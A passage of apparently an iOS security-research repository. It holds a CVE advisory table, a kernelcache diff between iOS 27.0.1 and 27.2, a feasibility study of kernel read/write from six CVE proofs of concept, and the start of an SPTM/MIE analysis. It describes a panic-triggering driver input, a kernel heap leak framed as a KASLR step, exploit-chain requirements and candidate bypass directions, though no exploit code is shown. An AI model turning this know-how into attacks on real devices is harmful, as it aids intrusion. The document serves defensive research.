| CVE-2026-112659 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A type confusion issue was addressed with improved memory handling. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112666 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112669 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A race condition was addressed with improved state handling. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112673 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A type confusion issue was addressed with improved state handling. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112680 | WebKit | Processing maliciously crafted web content may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112684 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | This issue was addressed through improved state management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112686 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A race condition was addressed with improved locking. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112693 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112695 | WebKit | Processing maliciously crafted web content may lead to an unexpected process termination | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112697 | WebKit | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112699 | WebKit | Processing maliciously crafted web content may result in the disclosure of process memory | An out-of-bounds read was addressed with improved bounds checking. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-113903 | WebKit | Processing maliciously crafted web content may lead to unexpected memory modification | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-113904 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-113949 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A type confusion issue was addressed with improved state management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-113952 | WebKit | A website may be able to use a media format that should be restricted in Lockdown Mode | A logic issue was addressed with improved checks. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-86974 | WebKit | Processing maliciously crafted web content may lead to memory corruption | A type confusion issue was addressed with improved checks. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-86985 | WebKit | Processing maliciously crafted web content may lead to an unexpected process crash | This issue was addressed with improved input validation. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-86986 | WebKit | Processing maliciously crafted web content may lead to an unexpected Safari crash | A use-after-free issue was addressed with improved memory management. | JavaScriptCore / WebKit / WebCore |
|
||||||
|
| CVE-2026-112637 | WebKit Canvas | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | WebCore (canvas) |
|
||||||
|
| CVE-2026-112626 | WebKit JavaScript Bindings | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | JavaScriptCore bindings |
|
||||||
|
| CVE-2026-112639 | WebKit Process Model | Processing maliciously crafted web content may lead to arbitrary code execution | A use-after-free issue was addressed with improved memory management. | WebKit process model |
|
||||||
|
| CVE-2026-113897 | WebKit Process Model | A remote attacker may be able to break out of Web Content sandbox | This issue was addressed by removing the vulnerable code. | WebKit process model |
|
||||||
|
| CVE-2026-113901 | WebRTC | Processing maliciously crafted web content may lead to an unexpected process crash | A use-after-free issue was addressed with improved memory management. | WebRTC.framework |
|
||||||
|
| CVE-2026-86973 | WebRTC | Processing maliciously crafted web content may lead to an unexpected process crash | An out-of-bounds read was addressed with improved bounds checking. | WebRTC.framework |
|
||||||
|
| CVE-2026-112620 | Wi-Fi | An attacker in a privileged network position may be able to cause a denial-of-service | A denial-of-service issue was addressed with improved input validation. | WiFi frameworks / IO80211 kext |
|
||||||
|
| CVE-2026-112622 | Wi-Fi | An attacker in radio range may be able to cause unexpected system termination | An out-of-bounds read was addressed with improved bounds checking. | WiFi frameworks / IO80211 kext |
|
||||||
|
| CVE-2026-113909 | Wi-Fi | An attacker in physical proximity may be able to corrupt process memory | A memory corruption issue was addressed with improved input validation. | WiFi frameworks / IO80211 kext |
|
||||||
|
| CVE-2026-112522 | libarchive | Processing a maliciously crafted file may lead to unexpected app termination | An out-of-bounds write issue was addressed with improved bounds checking. | libarchive.2.dylib |
|
||||||
|
| CVE-2026-112607 | mDNSResponder | A remote attacker may be able to leak memory | An out-of-bounds read was addressed with improved bounds checking. | mDNSResponder |
|
||||||
@@ -0,0 +1,196 @@
|
|||||||
|
# iOS 27.2 kernel differential — 27.0.1 vs 27.2 (iPhone19,7)
|
||||||
|
|
||||||
|
Scope: the iOS 27.2 security update (24B119) against 27.0.1 (24A446) for iPhone 18
|
||||||
|
Pro Max (`iPhone19,7`). The question: what does the update actually change in the
|
||||||
|
kernel, which of the 162 advisory CVEs can be tied to a fix site, and does anything
|
||||||
|
in the diff look like a PPL / SPTM / MIE bypass.
|
||||||
|
|
||||||
|
## How the images were obtained
|
||||||
|
|
||||||
|
Both restore images are the production IPSWs from Apple's CDN:
|
||||||
|
|
||||||
|
| Build | Version | Size | Kernelcache member |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 24A446 | 27.0.1 | 12,728,434,807 B | `kernelcache.release.v6x-pandia` |
|
||||||
|
| 24B119 | 27.2 | 13,722,855,612 B | `kernelcache.release.v6x-pandia` |
|
||||||
|
|
||||||
|
The kernelcache was pulled straight out of the ZIP with HTTP Range requests, so the
|
||||||
|
analysis did not wait for the full 26 GB. The container is IM4P; the payload is LZFSE.
|
||||||
|
|
||||||
|
| Build | Kernelcache (decoded) | SHA-256 (first 16) |
|
||||||
|
|---|---|---|
|
||||||
|
| 27.0.1 | 78,315,520 B | `dec73956a9a443c5` |
|
||||||
|
| 27.2 (v6x-pandia) | 78,675,968 B | `1aaf47dbc73650e3` |
|
||||||
|
|
||||||
|
Both are `MH_FILESET` images with a `__DATA_SPTM` segment, carrying 303 (27.0.1)
|
||||||
|
and 304 (27.2) fileset entries. One kext is new: `com.apple.driver.ApplePencilDriver`;
|
||||||
|
none were removed.
|
||||||
|
|
||||||
|
27.2 ships three kernelcaches (`v63`, `v64`, `v6x-pandia`); iPhone19,7 uses
|
||||||
|
`v6x-pandia` (member SHA-256 `0777eb09…`). The numbers and addresses below are
|
||||||
|
from that member, not from the first kernelcache in the ZIP.
|
||||||
|
|
||||||
|
## Reading the diff
|
||||||
|
|
||||||
|
Raw text-segment hashes are useless here: the fileset is relinked, so branch
|
||||||
|
displacements and absolute literal pools move in almost every kext even when the
|
||||||
|
code is unchanged. The diff therefore keys on:
|
||||||
|
|
||||||
|
1. `__TEXT_EXEC` size change (layout-independent),
|
||||||
|
2. `__cstring` / `__oslogstring` set difference (new checks usually add a message),
|
||||||
|
3. `llvm-objdump` instruction diff for the kexts that survive both filters.
|
||||||
|
|
||||||
|
93 of 303 common kexts changed text size (v6x-pandia). The largest are the ones the advisory
|
||||||
|
points at:
|
||||||
|
|
||||||
|
| Delta | Kext | Advisory component |
|
||||||
|
|---|---|---|
|
||||||
|
| +115,472 | `com.apple.driver.ASIOKit` | IOKit / audio |
|
||||||
|
| +39,624 | `com.apple.driver.AppleH16ANEInterface` | Apple Neural Engine |
|
||||||
|
| +29,376 | `com.apple.kernel` | Kernel |
|
||||||
|
| +16,080 | `com.apple.driver.AppleAVE2` | AVEVideoEncoder |
|
||||||
|
| +9,572 | `com.apple.driver.FairPlayIOKit` | Security |
|
||||||
|
| +9,316 | `com.apple.driver.AppleDisplayCrossbar` | IOMobileFrameBuffer |
|
||||||
|
| +8,304 | `com.apple.AGXG19P` | GPU |
|
||||||
|
| +4,712 | `com.apple.driver.AppleMobileDispH19P-DCP` | IOMobileFrameBuffer |
|
||||||
|
| +4,480 | `com.apple.driver.RTBuddy` | Kernel / RTKit |
|
||||||
|
| +4,152 | `com.apple.driver.AppleSARService` | Kernel |
|
||||||
|
|
||||||
|
## Fix sites that are confirmed by strings
|
||||||
|
|
||||||
|
### CVE-2026-112705 — AppleAVE2 temporal layers
|
||||||
|
|
||||||
|
27.2 adds the upper bound that 27.0.1 lacks:
|
||||||
|
|
||||||
|
```
|
||||||
|
number of temporal layers (prop) is out of range %d %d %d
|
||||||
|
0 <= pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers
|
||||||
|
&& pInfo->uPropCfg.sHEVC.iNumberOfTemporalLayers <= 7
|
||||||
|
0 < pInfo->sSessionCfg.sEnc.sAlgCfg.sGOP.iNumOfTemporalLayer
|
||||||
|
&& (... <= 7)
|
||||||
|
AVE_HEVC_CheckVPSExtBounds
|
||||||
|
HEVC VPS vps_max_layers_minus1 is out of range
|
||||||
|
HEVC VPS layer_id_in_nuh is out of range
|
||||||
|
HEVC VPS layer-set total is out of range
|
||||||
|
```
|
||||||
|
|
||||||
|
The property is now clamped to **0…7**. The trigger in the 27.0.1 dossier
|
||||||
|
(`NumberOfTemporalLayers = 16463`, first frame → AppleAVE2 +0xDA78) is exactly the
|
||||||
|
value this assertion rejects. A `--sweep` mode was added to both POCs: it sets
|
||||||
|
0…12 and submits no frame. On macOS 27.0 it accepts 1…12 (and 16463); on 27.2 the
|
||||||
|
>7 rungs must return an error.
|
||||||
|
|
||||||
|
### CVE-2026-113910 — decmpfs chunked zlib
|
||||||
|
|
||||||
|
27.2 adds the produced-vs-expected check in
|
||||||
|
`AppleFSCompression/Common/ChunkCompression.cpp`:
|
||||||
|
|
||||||
|
```
|
||||||
|
%s:%d: chunk %u produced %lld of %lld expected bytes
|
||||||
|
```
|
||||||
|
|
||||||
|
That is the exact under-production condition the leak harness drives. The C POC's
|
||||||
|
`--loop` / `--keep` collector now sits on a documented fix site.
|
||||||
|
|
||||||
|
### CVE-2026-112507 — ipc_port request table
|
||||||
|
|
||||||
|
27.2 adds the checks the 27.0.1 code was missing:
|
||||||
|
|
||||||
|
```
|
||||||
|
ipr != ((void*)0)
|
||||||
|
table != ((void*)0)
|
||||||
|
ipc_misc.c
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a **NULL-check fix**, not a reclaimable-object fix. It matches the device
|
||||||
|
result already recorded: `mach_port_request_notification` returns -300
|
||||||
|
(MIG_TYPE_ERROR) for every type/right combination, 0 of 12,288 registrations armed,
|
||||||
|
so the request-table path is never entered from an unentitled app.
|
||||||
|
|
||||||
|
### Other kernel changes
|
||||||
|
|
||||||
|
The core kernel gains 62 meaningful strings (build paths and UUIDs excluded). The
|
||||||
|
security-relevant ones:
|
||||||
|
|
||||||
|
- `VM entry %p lock shared lock overflow` — a new vm_map lock-overflow panic,
|
||||||
|
consistent with the COW / vm_map CVEs (112474 / 112576).
|
||||||
|
- `Page modified after framebank withdraw %p` — page-lifecycle check.
|
||||||
|
- `size <= sdl->sdl_alen` — sockaddr_dl bounds check in the network stack.
|
||||||
|
- `speculative_pages_freed` / `_demoted` / `_requeued_inactive` — pageout counters.
|
||||||
|
- `FilterDropBadDirection`, `nx_netif_filter_pkt_to_mbuf`, `pktap != NULL`,
|
||||||
|
`ret == TB_ERROR_SUCCESS` — network filter validation.
|
||||||
|
- `ipr != NULL`, `table != NULL`, `ipc_misc.c` — the 112507 fix.
|
||||||
|
- New entitlements: `com.apple.private.verified-jit-mode`,
|
||||||
|
`com.apple.private.vfs.unmunged-access-time`, `com.apple.security.cs.debugger`.
|
||||||
|
|
||||||
|
These line up with the 15 Kernel entries in the advisory (UAF, OOB read/write, race,
|
||||||
|
type confusion, COW integrity, kernel-layout disclosure). The advisory does not
|
||||||
|
assign individual functions, so the mapping above is evidence-based, not a
|
||||||
|
per-CVE signature.
|
||||||
|
|
||||||
|
## PPL / SPTM / MIE
|
||||||
|
|
||||||
|
**Correction:** the kernel's `__DATA_SPTM` segment is byte-identical (311,296 B,
|
||||||
|
same SHA), but SPTM is a separate firmware image and **did** change:
|
||||||
|
|
||||||
|
- `Firmware/sptm.t8160`: SPTM-820.0.22 → **SPTM-820.40.24**, 1,261,600 → 1,327,136 B
|
||||||
|
(+64 KiB, all in `__LATE_CONST`); `__TEXT_EXEC` same size, different hash.
|
||||||
|
- New checks: DART `VIOLATION_T8110_DART_UNGANG_GAPF_RACE`, GMMU TLBI
|
||||||
|
verification, IOMMU read-refcount validation, UAT Dekker lock timeouts,
|
||||||
|
`VIOLATION_NVME_ILLEGAL_HIBERNATION_QUEUE_LATCH`, hibernation handoff page count.
|
||||||
|
- `txm.iphoneos`: same size, build-path/version only (Image4 374~7022 → 374~8637).
|
||||||
|
- `exclavecore`: 33,259,754 → 33,489,130 B (+229,376) — separate domain.
|
||||||
|
- MIE/MTE policy in SPTM is unchanged: the `MTE tag page containing SK tags`
|
||||||
|
check is a 210-instruction function in both builds (relocated, same shape), and
|
||||||
|
the kernel's MTE strings are identical. The Exclave image changed separately.
|
||||||
|
|
||||||
|
The full analysis, function addresses, and candidate bypass directions (DART
|
||||||
|
GAPF race, hibernation handoff, SK tag-page aliasing, dangling tag storage) are in
|
||||||
|
[SPTM-MIE-27.2.md](SPTM-MIE-27.2.md). No working SPTM/MIE bypass was produced: the
|
||||||
|
27.2 changes add checks, and the candidate paths need a reachable primitive that
|
||||||
|
the diff does not contain.
|
||||||
|
|
||||||
|
## Kernel fix-site candidates (27.2, address in the final 24B119 kernelcache)
|
||||||
|
|
||||||
|
These are the functions that reference the new 27.2 strings. They are candidate
|
||||||
|
fix sites for the 15 Kernel CVEs; the advisory does not map a CVE to a function,
|
||||||
|
so treat the CVE attribution as an inference.
|
||||||
|
|
||||||
|
| New string | Function (27.2) | Likely area |
|
||||||
|
|---|---|---|
|
||||||
|
| `size <= sdl->sdl_alen` | `0xfffffe000aeee474` (assert at `0xfffffe000aeee74c`) | sockaddr_dl / ifaddr bounds (info leak candidate, cf. 112665) |
|
||||||
|
| `Failed mbuf validity check` | `0xfffffe000aeaf8ac`, `0xfffffe000aecee70`, `0xfffffe000b0161bc`, `0xfffffe000b0c17a0` | mbuf length vs off+len (OOB read/write candidate) |
|
||||||
|
| `VM entry %p lock shared lock overflow` | `0xfffffe000b4bad74` | vm_map shared-lock state (COW / 112576 candidate) |
|
||||||
|
| `Page modified after framebank withdraw %p` | `0xfffffe000ad831b8` | pmap page lifecycle (UAF candidate) |
|
||||||
|
|
||||||
|
The `sdl` site is the most user-reachable of the four: it is on the network
|
||||||
|
interface/address path and the string is an assertion added in 27.2. The mbuf
|
||||||
|
site is next. Neither has a trigger or a demonstrated R/W effect; they are the
|
||||||
|
next functions to audit with a device.
|
||||||
|
|
||||||
|
## What can be turned into a PoC
|
||||||
|
|
||||||
|
| CVE | Primitive | PoC status |
|
||||||
|
|---|---|---|
|
||||||
|
| 2026-112705 | fixed-offset constant fill in AppleAVE2 | existing Swift/C POC + new `--sweep`; kernel panic on 27.0.1, property refused on 27.2 |
|
||||||
|
| 2026-113910 | kernel heap disclosure through decmpfs | existing C collector (`--loop`, `--keep`, pointer classes); read-only |
|
||||||
|
| 2026-112507 | request-table NULL check / race | existing harness; unreachable from an unentitled app (-300) |
|
||||||
|
| 2026-112696 | ANE validation, +39 KB | no trigger in the diff; ANE kext strings show resource/scheduler validation, not a user-reachable entry |
|
||||||
|
| 2026-65385 | IOHIDEvent fixed-offset write | IOHIDFamily grew only 236 B (+ `TCCService`); the advisory's IOKit fix is likely in the userland IOKit.framework (DSC), not this kext |
|
||||||
|
| other Kernel CVEs | UAF/OOB/race | fix sites visible as strings, but no trigger or reclaim strategy; writing a PoC would be guesswork |
|
||||||
|
|
||||||
|
The WebKit, ImageIO, CoreMedia and other userland components live in the dyld shared
|
||||||
|
cache inside the root filesystem image, which is not part of the ZIP's plain files;
|
||||||
|
those were not diffed here.
|
||||||
|
|
||||||
|
## Reproduce
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 tools/ipsw/remote_ipsw.py extract <ipsw-url> kernelcache work/kernel/27.2.im4p
|
||||||
|
python3 tools/ipsw/ipswlib.py kernel ... # decode + list
|
||||||
|
python3 tools/ipsw/extract_kext.py work/kernel/27.2.kernel \
|
||||||
|
work/kernel/27.2-entries.json com.apple.driver.AppleAVE2 out.macho
|
||||||
|
python3 tools/ipsw/disasm_diff.py a.macho b.macho
|
||||||
|
```
|
||||||
|
|
||||||
|
The tools are read-only: no device is touched, and no firmware is modified.
|
||||||
@@ -0,0 +1,160 @@
|
|||||||
|
# Kernel read/write feasibility — high and critical dossiers
|
||||||
|
|
||||||
|
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
|
||||||
|
Question: can any of them be turned into arbitrary kernel read/write that does not
|
||||||
|
panic the device?
|
||||||
|
|
||||||
|
Short answer: **no, not from the material as it stands.** One entry gives a real
|
||||||
|
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
|
||||||
|
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
|
||||||
|
never reach the kernel interface at all. This document records what each primitive
|
||||||
|
actually provides, what an arbitrary-R/W chain still needs, and what was added to
|
||||||
|
the POCs.
|
||||||
|
|
||||||
|
## Guardrails
|
||||||
|
|
||||||
|
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
|
||||||
|
never executed on the host again; its C twin refuses to submit a frame without
|
||||||
|
`--force-host`.
|
||||||
|
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
|
||||||
|
heap is a panic, not a data point.
|
||||||
|
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
|
||||||
|
the write primitives cannot be exercised there either. Their app modules are
|
||||||
|
split into a safe probe and a deliberate fire module.
|
||||||
|
|
||||||
|
## Primitive inventory
|
||||||
|
|
||||||
|
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
|
||||||
|
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
|
||||||
|
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
|
||||||
|
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
|
||||||
|
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
|
||||||
|
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
|
||||||
|
|
||||||
|
## What arbitrary kernel R/W actually requires
|
||||||
|
|
||||||
|
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
|
||||||
|
one of them is a chain step, not a chain.
|
||||||
|
|
||||||
|
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
|
||||||
|
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
|
||||||
|
pointer, and a heap pointer alone does not give the slide.
|
||||||
|
2. **Heap grooming** — deterministic placement of a victim object next to the
|
||||||
|
corrupted allocation, in the same zone, at the same size class.
|
||||||
|
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
|
||||||
|
slot with attacker-influenced contents, and keep a stale reference alive. For an
|
||||||
|
OOB write: a value and an offset that land on a field worth corrupting.
|
||||||
|
4. **A read/write gadget** — an object whose corrupted field yields a load or store
|
||||||
|
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
|
||||||
|
thread's `pcb` pointer).
|
||||||
|
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
|
||||||
|
protected by PPL on modern devices. A data-only path can sometimes avoid both,
|
||||||
|
but it still needs 1–4.
|
||||||
|
|
||||||
|
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
|
||||||
|
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
|
||||||
|
strategy that the repository does not have.
|
||||||
|
|
||||||
|
## Per-entry notes
|
||||||
|
|
||||||
|
### CVE-2026-112705 — fixed constant, fixed offset
|
||||||
|
|
||||||
|
The driver indexes a layer table with the declared count and writes a constant at a
|
||||||
|
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
|
||||||
|
address. The only observable is a kernel data abort. Calling this "R/W" would
|
||||||
|
require a second bug that turns the corrupted field into a pointer; nothing in the
|
||||||
|
dossier provides one. The correct classification is a reliable kernel DoS.
|
||||||
|
|
||||||
|
### CVE-2026-112507 — reachability closed on the device (2026-10-31)
|
||||||
|
|
||||||
|
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
|
||||||
|
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
|
||||||
|
|
||||||
|
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
|
||||||
|
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
|
||||||
|
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
|
||||||
|
- On macOS 27 the same call was swept over 13 combinations of notification type
|
||||||
|
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
|
||||||
|
(receive-only, send+receive, send-only; notify port receive or send). Every
|
||||||
|
combination returned -300.
|
||||||
|
|
||||||
|
The kernel refuses to arm a request-table entry for this process. With no entry,
|
||||||
|
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
|
||||||
|
be driven from an unentitled third-party app, and the "survived" line from the old
|
||||||
|
harness was measuring port churn, not the bug. The published fix shape (NULL checks
|
||||||
|
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
|
||||||
|
reclaimable object.
|
||||||
|
|
||||||
|
**27.2 firmware confirmation (2026-10-31):** the 27.2 kernel adds `ipr != NULL` /
|
||||||
|
`table != NULL` in `ipc_misc.c` — a NULL-check fix, not a reclaimable-object fix.
|
||||||
|
The 27.0.1/27.2 kernelcache diff is in [IOS27.2-KERNEL-DIFF.md](IOS27.2-KERNEL-DIFF.md).
|
||||||
|
|
||||||
|
**Verdict: closed for this app.** The remaining hypothetical is a platform process
|
||||||
|
that is allowed to register notifications; that is outside Cinder27's reach.
|
||||||
|
|
||||||
|
### CVE-2026-112507 — the race itself
|
||||||
|
|
||||||
|
The ring allocates receive rights, arms two notification kinds per port, tears down
|
||||||
|
half the ring, then sends to the survivors. The request-table index consumers are
|
||||||
|
the target of the race. A weaponised version would need:
|
||||||
|
|
||||||
|
- a win condition that is observable without panicking (a receipt, not a crash);
|
||||||
|
- a same-zone reclaim object with controllable contents (Mach ports themselves are
|
||||||
|
one candidate, but the request-table entry's layout is not attacker-shaped);
|
||||||
|
- a stale consumer that dereferences the reclaimed slot after the free;
|
||||||
|
- a leak to place the reclaim object and to find the kernel base.
|
||||||
|
|
||||||
|
The POC records `-300` and `invalid destination` receipts and reports that the
|
||||||
|
interleaving survived. That is the honest limit of a userspace race harness: it can
|
||||||
|
show the window exists, not that the window is controllable.
|
||||||
|
|
||||||
|
### CVE-2026-113910 — the leak that was worth improving
|
||||||
|
|
||||||
|
This is the only entry where more code produces more signal. The C twin now:
|
||||||
|
|
||||||
|
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
|
||||||
|
chunk and writes none of it);
|
||||||
|
- repeats the sweep `--loop N` times;
|
||||||
|
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
|
||||||
|
(`0xffffffe0…`), kernel-other, or user;
|
||||||
|
- writes the raw readback to `--keep out.bin` for offline analysis;
|
||||||
|
- never dereferences a candidate.
|
||||||
|
|
||||||
|
On the macOS host decmpfs does not engage for a file that already has data (the
|
||||||
|
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
|
||||||
|
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
|
||||||
|
the KASLR step. It still does not write.
|
||||||
|
|
||||||
|
### CVE-2026-112554 — a read-width model, not a kernel reader
|
||||||
|
|
||||||
|
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
|
||||||
|
It proves the scan width (72 B against a 28-B field) but the bytes come from the
|
||||||
|
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
|
||||||
|
would have to run through the storage kext on a mounted image; that is not attempted
|
||||||
|
on the host.
|
||||||
|
|
||||||
|
## What was deliberately not done
|
||||||
|
|
||||||
|
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
|
||||||
|
panic is not evidence of control.
|
||||||
|
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
|
||||||
|
guess is indistinguishable from a bug that does not work.
|
||||||
|
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
|
||||||
|
the free/reclaim/stale-dereference sequence is observed.
|
||||||
|
|
||||||
|
## Bottom line
|
||||||
|
|
||||||
|
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
|
||||||
|
shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
|
||||||
|
by device evidence: notification registration is refused, so the request table is
|
||||||
|
never armed. The maximum safe capability the lab demonstrates is:
|
||||||
|
|
||||||
|
- a repeatable kernel heap **leak** with pointer classification (113910);
|
||||||
|
- a read-width model for the GPT scan (112554);
|
||||||
|
- a race-window harness with receipts (112507);
|
||||||
|
- honest negatives for the write entries that never reach a controllable primitive.
|
||||||
|
|
||||||
|
The next real step is not more code in this repository; it is a device session with
|
||||||
|
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.
|
||||||
@@ -0,0 +1,338 @@
|
|||||||
|
# SPTM / MIE deep dive — iOS 27.2 (24B119) vs 27.0.1 (24A446)
|
||||||
|
|
||||||
|
This is the part that the kernelcache alone cannot answer. SPTM is a separate
|
||||||
|
firmware image in the IPSW (`Firmware/sptm.t8160.release.im4p`), and it **did**
|
||||||
|
change in 27.2. The earlier note that "SPTM is unchanged" was based only on the
|
||||||
|
kernel's `__DATA_SPTM` segment and was wrong: that segment is identical, but the
|
||||||
|
SPTM monitor itself is not.
|
||||||
|
|
||||||
|
## Component inventory
|
||||||
|
|
||||||
|
| Component | 27.0.1 | 27.2 | Change |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `sptm.t8160` | 1,261,600 B · SPTM-820.0.22 | 1,327,136 B · SPTM-820.40.24 | **+65,536 B** |
|
||||||
|
| `txm.iphoneos` | 557,088 B · Image4 374~7022 | 557,088 B · Image4 374~8637 | build-only |
|
||||||
|
| `exclavecore.t8160` | 33,259,754 B | 33,489,130 B | +229,376 B |
|
||||||
|
| kernel `__DATA_SPTM` | 311,296 B · sha f4bc1e5e… | 311,296 B · sha f4bc1e5e… | **identical** |
|
||||||
|
| kernel MTE strings | `VM_KERN_MEMORY_MTAG`, taggable pages | same | unchanged |
|
||||||
|
|
||||||
|
SPTM segment sizes:
|
||||||
|
|
||||||
|
| Segment | 27.0.1 | 27.2 |
|
||||||
|
|---|---|---|
|
||||||
|
| `__TEXT_EXEC` | 425,984 | 425,984 |
|
||||||
|
| `__LATE_CONST` | 524,288 | **589,824** (+65,536) |
|
||||||
|
| `__TEXT` / `__DATA` / `__BOOTDATA` | 98,304 / 65,536 / 98,304 | same |
|
||||||
|
|
||||||
|
The +64 KiB is entirely in `__LATE_CONST`; the executable text kept its size but
|
||||||
|
its hash changed (`347aa218…` → `064c286f…`), so functions were edited/relocated.
|
||||||
|
|
||||||
|
## What 27.2 adds to SPTM
|
||||||
|
|
||||||
|
String diff (32 new, 7 removed) is dominated by IOMMU/DART and hibernation
|
||||||
|
hardening — none of it is named in the 162-CVE advisory:
|
||||||
|
|
||||||
|
- `VIOLATION_T8110_DART_UNGANG_GAPF_RACE`
|
||||||
|
- `%s: %s: iommu_read_refcnt (0x%hhx) > read_refcnt(0x%x) for FTE %p`
|
||||||
|
- `%s: Failed to verify TLBI`
|
||||||
|
- `%s: The GMMU TLBI verification register should be 8B-aligned`
|
||||||
|
- `gmmu-tlbi-verification-reg` / `gmmu-tlbi-verification-bit`
|
||||||
|
- `%s: UAT Dekker gate acquisition timed out after %llu ns`
|
||||||
|
- `%s: UAT Dekker lock acquisition timed out after %llu ns`
|
||||||
|
- `%s: dart %p (%s:%u): relaxed_rw_protections and allow_pte_remap are not supported together`
|
||||||
|
- `%s: dart %p (%s:%u): Inconsistent unganged clock protection configuration`
|
||||||
|
- `VIOLATION_NVME_ILLEGAL_HIBERNATION_QUEUE_LATCH`
|
||||||
|
- `hib_header_copy->handoffPageCount < HIB_HANDOFF_PAGECOUNT_LIMIT`
|
||||||
|
- `sptm_allow_vm_isa_internal_guests`, `sptm_is_iuou_or_iuos_device`
|
||||||
|
- `SPTM-820.40.24|2026-10-03:14:50:35`
|
||||||
|
|
||||||
|
The TLBI string has five code xrefs in 27.2, at functions starting near
|
||||||
|
